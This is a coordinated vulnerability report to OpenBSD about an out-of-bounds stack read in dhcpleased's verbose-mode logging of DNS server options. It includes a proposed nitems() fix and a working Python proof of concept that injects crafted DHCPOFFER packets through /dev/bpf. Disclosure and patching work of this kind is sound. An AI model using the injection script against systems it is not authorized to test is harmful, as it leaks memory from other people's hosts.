Verbose-mode-gated stack OOB read in dhcpleased.

A DHCPOFFER with a DHO_DOMAIN_NAME_SERVERS option of length >= 36 bytes
causes the log loop at sbin/dhcpleased/engine.c:1042-1049 to iterate
past the 8-element nameservers[] array, emitting adjacent stack
contents through inet_ntop + log_debug.

Not reachable on a default install (gated on `dhcpleased -vv`).

The defect
----------

sbin/dhcpleased/engine.c:1042-1049 (DHO_DOMAIN_NAME_SERVERS branch):

    uint32_t nameservers[MAX_RDNS_COUNT];   /* MAX_RDNS_COUNT == 8 */
    ...
    if (log_getverbose() > 1) {
        for (i = 0; i < MINIMUM(sizeof(nameservers),
            dho_len / sizeof(nameservers[0])); i++) {
            log_debug("DHO_DOMAIN_NAME_SERVERS: %s ...", inet_ntop(...));
        }
    }

sizeof(nameservers) is 32 (BYTES). dho_len / sizeof(nameservers[0])
is a COUNT. MINIMUM compares incompatible units. For dho_len >= 36
the COUNT side is >= 9; MINIMUM returns 9..32 and the loop iterates
past nameservers[7].

The earlier memcpy that populates nameservers[] is correctly bounded
in BYTES; only the log loop has the units mismatch.

Trigger arithmetic:

    dho_len = 36   -> 9 iterations  -> 1 OOB read
    dho_len = 64   -> 16 iterations -> 8 OOB reads
    dho_len >= 128 -> 32 iterations -> 24 OOB reads (capped)

Worst case: 96 bytes of adjacent stack rendered as dotted-quads and
emitted via log_debug.

Live test
---------

Stock 7.8 amd64 /sbin/dhcpleased run as `dhcpleased -dvv` against a
vether0 interface set `inet autoconf`. PoC BPF-injected a DHCPOFFER.

dho_len=128, iterations 9-12 (immediately past nameservers[7]):

    DHO_DOMAIN_NAME_SERVERS: 102.101.58.101 (9/32)
    DHO_DOMAIN_NAME_SERVERS: 49.58.98.97   (10/32)
    DHO_DOMAIN_NAME_SERVERS: 58.100.48.58  (11/32)
    DHO_DOMAIN_NAME_SERVERS: 50.100.48.51  (12/32)

These dotted-quads decode to ASCII:

    102.101.58.101 = 0x66 65 3a 65 = "fe:e"
    49.58.98.97    = 0x31 3a 62 61 = "1:ba"
    58.100.48.58   = 0x3a 64 30 3a = ":d0:"
    50.100.48.51   = 0x32 64 3a 33 = "2d:3"

= "fe:e1:ba:d0:2d:3" -- the start of vether0's interface MAC sitting
as an ASCII string in an adjacent stack buffer.

3/3 deterministic across dho_len in {36, 64, 128}. Daemon does not
crash; ProPolice canary is not crossed (read stays in-frame).

Proposed fix
------------

Two-character change at sbin/dhcpleased/engine.c:1042 -- switch the
left side of MINIMUM from sizeof() to nitems():

     if (log_getverbose() > 1) {
    -    for (i = 0; i < MINIMUM(sizeof(nameservers),
    +    for (i = 0; i < MINIMUM(nitems(nameservers),
             dho_len / sizeof(nameservers[0])); i++) {
             log_debug("DHO_DOMAIN_NAME_SERVERS: %s ...", inet_ntop(...));
         }
     }

nitems(nameservers) is 8 -- matches the units of the right side.
No semantic change for dho_len < 36; for dho_len >= 36 the loop is
correctly bounded to 8 iterations.

PoC available on request (Python, stdlib only).

No public disclosure planned until you've had time to fix.
Stuart Thomas
#!/usr/bin/env python3
"""
dhcpleased_pwn.py — live-test reproducer for DHCPLEASED-001.

Stack-buffer-overflow READ in OpenBSD dhcpleased verbose-mode log loop
(engine.c:1042-1049). Units-confusion: MINIMUM(sizeof(nameservers),
dho_len/sizeof(nameservers[0])) — first arg is BYTES (32), second is COUNT.
Iteration count exceeds the 8-element nameservers[] array when dho_len >= 36.

The bug is INFO-DISCLOSURE only — daemon does not crash; OOB stack bytes
are formatted via inet_ntop into log_debug lines emitted to stdout (when
running -d) or syslog. Gated on `dhcpleased -vv` (verbose>=2).

Mode: this script runs ON THE OPENBSD TARGET (madHatter) and uses /dev/bpf
to (a) read the DISCOVER that dhcpleased emits, capturing its xid; (b) write
back a crafted DHCPOFFER with a DHO_DOMAIN_NAME_SERVERS option of length
N*4 (N >= 9) to trigger the OOB read.

Usage on madHatter:
  # In a separate window:
  #   pkill dhcpleased
  #   dhcpleased -d -vv -i vether0 2>&1 | tee /tmp/dhcpleased.log
  # Then:
  python3 dhcpleased_pwn.py --iface vether0 --dho-len 128

Output: prints DISCOVER capture details and the crafted OFFER; expects to
see N nameservers logged by dhcpleased (vs the source-correct cap of 8).
"""

import argparse
import fcntl
import os
import socket
import struct
import sys
import time

# -- /dev/bpf ioctls (OpenBSD values, from /usr/include/net/bpf.h) ----------
# These are derived from _IOR/_IOW macros. OpenBSD uses the same layout as
# other BSDs: dir<<30 | len<<16 | group<<8 | num.

BIOCSETIF   = 0x8020426c  # _IOW('B', 108, struct ifreq)
BIOCIMMEDIATE = 0x80044270  # _IOW('B', 112, u_int)
BIOCGBLEN   = 0x40044266  # _IOR('B', 102, u_int)
BIOCSBLEN   = 0xc0044266  # _IOWR('B', 102, u_int)
BIOCPROMISC = 0x20004269  # _IO('B', 105)
BIOCSHDRCMPLT = 0x80044275  # _IOW('B', 117, u_int)
BIOCSDIRFILT = 0x8004427d   # _IOW('B', 125, u_int) — OpenBSD direction filter
# Direction filter bits: bit0=in, bit1=out. Set bit1 to filter OUT outbound;
# we want to RX only inbound, so filter mask should be 2 (drop outbound).
BPF_DIRECTION_OUT = 2
BIOCFLUSH   = 0x20004268  # _IO('B', 104)


# -- helpers ----------------------------------------------------------------

def u8(v):  return bytes([v & 0xff])
def u16(v): return struct.pack("!H", v & 0xffff)
def u32(v): return struct.pack("!I", v & 0xffffffff)


def ip_checksum(data: bytes) -> int:
    if len(data) % 2:
        data += b"\x00"
    s = 0
    for i in range(0, len(data), 2):
        s += (data[i] << 8) | data[i+1]
    while s >> 16:
        s = (s & 0xffff) + (s >> 16)
    return (~s) & 0xffff


def udp_checksum(src_ip: bytes, dst_ip: bytes, sport: int, dport: int,
                 payload: bytes) -> int:
    udp_len = 8 + len(payload)
    pseudo = src_ip + dst_ip + b"\x00\x11" + struct.pack("!H", udp_len)
    udp_hdr = struct.pack("!HHHH", sport, dport, udp_len, 0)
    return ip_checksum(pseudo + udp_hdr + payload)


# -- BPF open/bind ----------------------------------------------------------

def open_bpf(iface: str):
    """Open /dev/bpf, bind to iface, set immediate mode, return (fd, buflen)."""
    fd = os.open("/dev/bpf", os.O_RDWR)

    # Set buffer length BEFORE binding to interface
    blen = struct.pack("I", 32768)
    fcntl.ioctl(fd, BIOCSBLEN, blen)
    blen = struct.unpack("I", fcntl.ioctl(fd, BIOCGBLEN, b"\x00"*4))[0]

    # Bind to iface
    ifr = iface.encode() + b"\x00" * (32 - len(iface))
    fcntl.ioctl(fd, BIOCSETIF, ifr)

    # Immediate mode (don't buffer)
    fcntl.ioctl(fd, BIOCIMMEDIATE, struct.pack("I", 1))

    # Header complete: we provide full ethernet header on writes
    fcntl.ioctl(fd, BIOCSHDRCMPLT, struct.pack("I", 1))

    # (Direction filter omitted — parse_dhcp_discover filters by dport==67)
    return fd, blen


# -- bpf_hdr decode --------------------------------------------------------
# struct bpf_hdr { struct bpf_timeval bh_tstamp; u_int32_t bh_caplen;
#                  u_int32_t bh_datalen; u_int16_t bh_hdrlen; }
# OpenBSD bpf_timeval = { int32_t tv_sec; int32_t tv_usec; } => 8 bytes.

def parse_bpf_buf(buf: bytes):
    """Yield (timestamp, pkt_bytes) for each packet in a BPF read buffer."""
    off = 0
    while off < len(buf):
        if off + 18 > len(buf):
            break
        tv_sec, tv_usec, caplen, datalen, hdrlen = struct.unpack(
            "iiIIH", buf[off:off+18]
        )
        pkt_start = off + hdrlen
        pkt_end = pkt_start + caplen
        if pkt_end > len(buf):
            break
        yield (tv_sec + tv_usec / 1e6, buf[pkt_start:pkt_end])
        # Advance to next packet, BPF_WORDALIGN to u_int32
        rec_len = hdrlen + caplen
        rec_len = (rec_len + 3) & ~3
        off += rec_len


# -- DHCP parse -------------------------------------------------------------

def parse_dhcp_discover(pkt: bytes):
    """Parse Ether+IPv4+UDP+BOOTP. Return (xid, chaddr6, src_mac) or None."""
    if len(pkt) < 14 + 20 + 8 + 240:
        return None
    eth_dst = pkt[0:6]; eth_src = pkt[6:12]; eth_type = pkt[12:14]
    if eth_type != b"\x08\x00":
        return None
    ip = pkt[14:]
    ip_ihl = (ip[0] & 0x0f) * 4
    ip_proto = ip[9]
    if ip_proto != 0x11:  # UDP
        return None
    udp = ip[ip_ihl:]
    sport, dport = struct.unpack("!HH", udp[:4])
    if dport != 67:  # to-server
        return None
    bootp = udp[8:]
    op = bootp[0]
    if op != 1:  # BOOTREQUEST
        return None
    xid = struct.unpack("!I", bootp[4:8])[0]
    chaddr = bootp[28:28+16]
    return (xid, chaddr[:6], eth_src)


# -- Build DHCPOFFER --------------------------------------------------------

def build_offer(src_mac: bytes, dst_mac: bytes,
                src_ip: str, dst_ip: str,
                xid: int, chaddr6: bytes, yiaddr: str,
                dho_len: int) -> bytes:
    """Build a full Ether+IP+UDP+DHCPOFFER packet.

    dho_len is the length of the DHO_DOMAIN_NAME_SERVERS option payload (bytes).
    Must be multiple of 4. dho_len >= 36 triggers the OOB read in the log loop.
    """
    assert dho_len % 4 == 0, "dho_len must be multiple of 4"

    src_ip_b = socket.inet_aton(src_ip)
    dst_ip_b = socket.inet_aton(dst_ip)
    yiaddr_b = socket.inet_aton(yiaddr)

    # BOOTP / DHCP header (236 bytes)
    bootp  = u8(2)            # op = BOOTREPLY
    bootp += u8(1)            # htype = Ethernet
    bootp += u8(6)            # hlen
    bootp += u8(0)            # hops
    bootp += u32(xid)         # xid
    bootp += u16(0)           # secs
    bootp += u16(0)           # flags (unicast)
    bootp += b"\x00"*4        # ciaddr
    bootp += yiaddr_b         # yiaddr (offered)
    bootp += src_ip_b         # siaddr (server)
    bootp += b"\x00"*4        # giaddr
    bootp += chaddr6 + b"\x00"*10  # chaddr (16B, only first 6 used)
    bootp += b"\x00"*64       # sname
    bootp += b"\x00"*128      # file
    assert len(bootp) == 236

    # Magic cookie
    bootp += b"\x63\x82\x53\x63"

    # DHCP Options
    opts  = b""
    opts += u8(53) + u8(1) + u8(2)            # MSG_TYPE = OFFER
    opts += u8(54) + u8(4) + src_ip_b         # SERVER_IDENTIFIER
    opts += u8(51) + u8(4) + u32(3600)        # LEASE_TIME
    opts += u8(1)  + u8(4) + b"\xff\xff\xff\x00"  # SUBNET_MASK 255.255.255.0

    # *** THE TRIGGER ***
    # DHO_DOMAIN_NAME_SERVERS (option 6), len = dho_len
    # Pattern bytes designed to be distinctive in the log output: each IPv4
    # carries the iteration index in the first octet so we can see how far
    # past the array the loop went.
    ns_payload = b""
    n_addrs = dho_len // 4
    for i in range(n_addrs):
        # 10.<idx>.<idx>.<idx> -- recognizable as nameserver[i]
        ns_payload += bytes([10, i & 0xff, i & 0xff, i & 0xff])
    assert len(ns_payload) == dho_len
    opts += u8(6) + u8(dho_len) + ns_payload

    opts += u8(255)                            # END
    # pad to a reasonable size
    while len(opts) < 60:
        opts += b"\x00"

    payload = bootp + opts

    # UDP
    udp_cks = udp_checksum(src_ip_b, dst_ip_b, 67, 68, payload)
    udp = struct.pack("!HHHH", 67, 68, 8 + len(payload), udp_cks) + payload

    # IPv4
    total_len = 20 + len(udp)
    ip_hdr = struct.pack("!BBHHHBBH4s4s",
                         0x45, 0x00, total_len, 0x1234, 0x0000,
                         64, 17, 0, src_ip_b, dst_ip_b)
    ip_cks = ip_checksum(ip_hdr)
    ip_hdr = ip_hdr[:10] + struct.pack("!H", ip_cks) + ip_hdr[12:]

    # Ethernet
    eth = dst_mac + src_mac + b"\x08\x00"
    return eth + ip_hdr + udp


# -- main -------------------------------------------------------------------

def main():
    p = argparse.ArgumentParser(description="DHCPLEASED-001 live reproducer")
    p.add_argument("--iface", default="vether0",
                   help="Interface (default: vether0)")
    p.add_argument("--dho-len", type=int, default=128,
                   help="DHO_DOMAIN_NAME_SERVERS option length in bytes "
                        "(must be multiple of 4; >=36 triggers; <=252)")
    p.add_argument("--server-ip", default="10.99.99.1",
                   help="DHCP server IP (synthesised)")
    p.add_argument("--client-ip", default="10.99.99.100",
                   help="yiaddr to offer")
    p.add_argument("--server-mac", default="02:11:22:33:44:55",
                   help="DHCP server MAC (synthesised)")
    p.add_argument("--timeout", type=float, default=30.0,
                   help="Seconds to wait for a DISCOVER")
    p.add_argument("--count", type=int, default=1,
                   help="Number of OFFER variants to send")
    args = p.parse_args()

    assert 36 <= args.dho_len <= 252, "dho_len must be in [36, 252]"
    assert args.dho_len % 4 == 0, "dho_len must be multiple of 4"

    print(f"[*] opening BPF on {args.iface}")
    fd, blen = open_bpf(args.iface)
    print(f"[*] bpf buffer = {blen} bytes")

    server_mac = bytes.fromhex(args.server_mac.replace(":", ""))

    print(f"[*] waiting up to {args.timeout}s for DHCPDISCOVER on {args.iface}")
    print(f"[*]   (start dhcpleased -d -vv -i {args.iface} in another window)")

    deadline = time.time() + args.timeout
    xid = None
    chaddr6 = None
    client_mac = None
    while time.time() < deadline:
        try:
            buf = os.read(fd, blen)
        except BlockingIOError:
            time.sleep(0.1)
            continue
        if not buf:
            continue
        for ts, pkt in parse_bpf_buf(buf):
            r = parse_dhcp_discover(pkt)
            if r:
                xid, chaddr6, client_mac = r
                print(f"[+] captured DISCOVER  xid=0x{xid:08x}  "
                      f"chaddr={chaddr6.hex(':')}")
                break
        if xid is not None:
            break

    if xid is None:
        print("[!] no DISCOVER captured within timeout", file=sys.stderr)
        sys.exit(2)

    for i in range(args.count):
        # Build offer with the configured dho_len (or vary if multiple)
        offer = build_offer(
            src_mac=server_mac,
            dst_mac=client_mac,        # send back to dhcpleased
            src_ip=args.server_ip,
            dst_ip="255.255.255.255",  # broadcast so dhcpleased accepts
            xid=xid,
            chaddr6=chaddr6,
            yiaddr=args.client_ip,
            dho_len=args.dho_len,
        )
        print(f"[*] sending OFFER #{i+1}  dho_len={args.dho_len}  "
              f"({args.dho_len//4} nameservers)  total {len(offer)}B")
        n = os.write(fd, offer)
        print(f"[+] wrote {n} bytes to {args.iface}")
        time.sleep(0.2)

    print("[*] done — inspect dhcpleased -d -vv stdout for the log loop output")


if __name__ == "__main__":
    main()

Reply via email to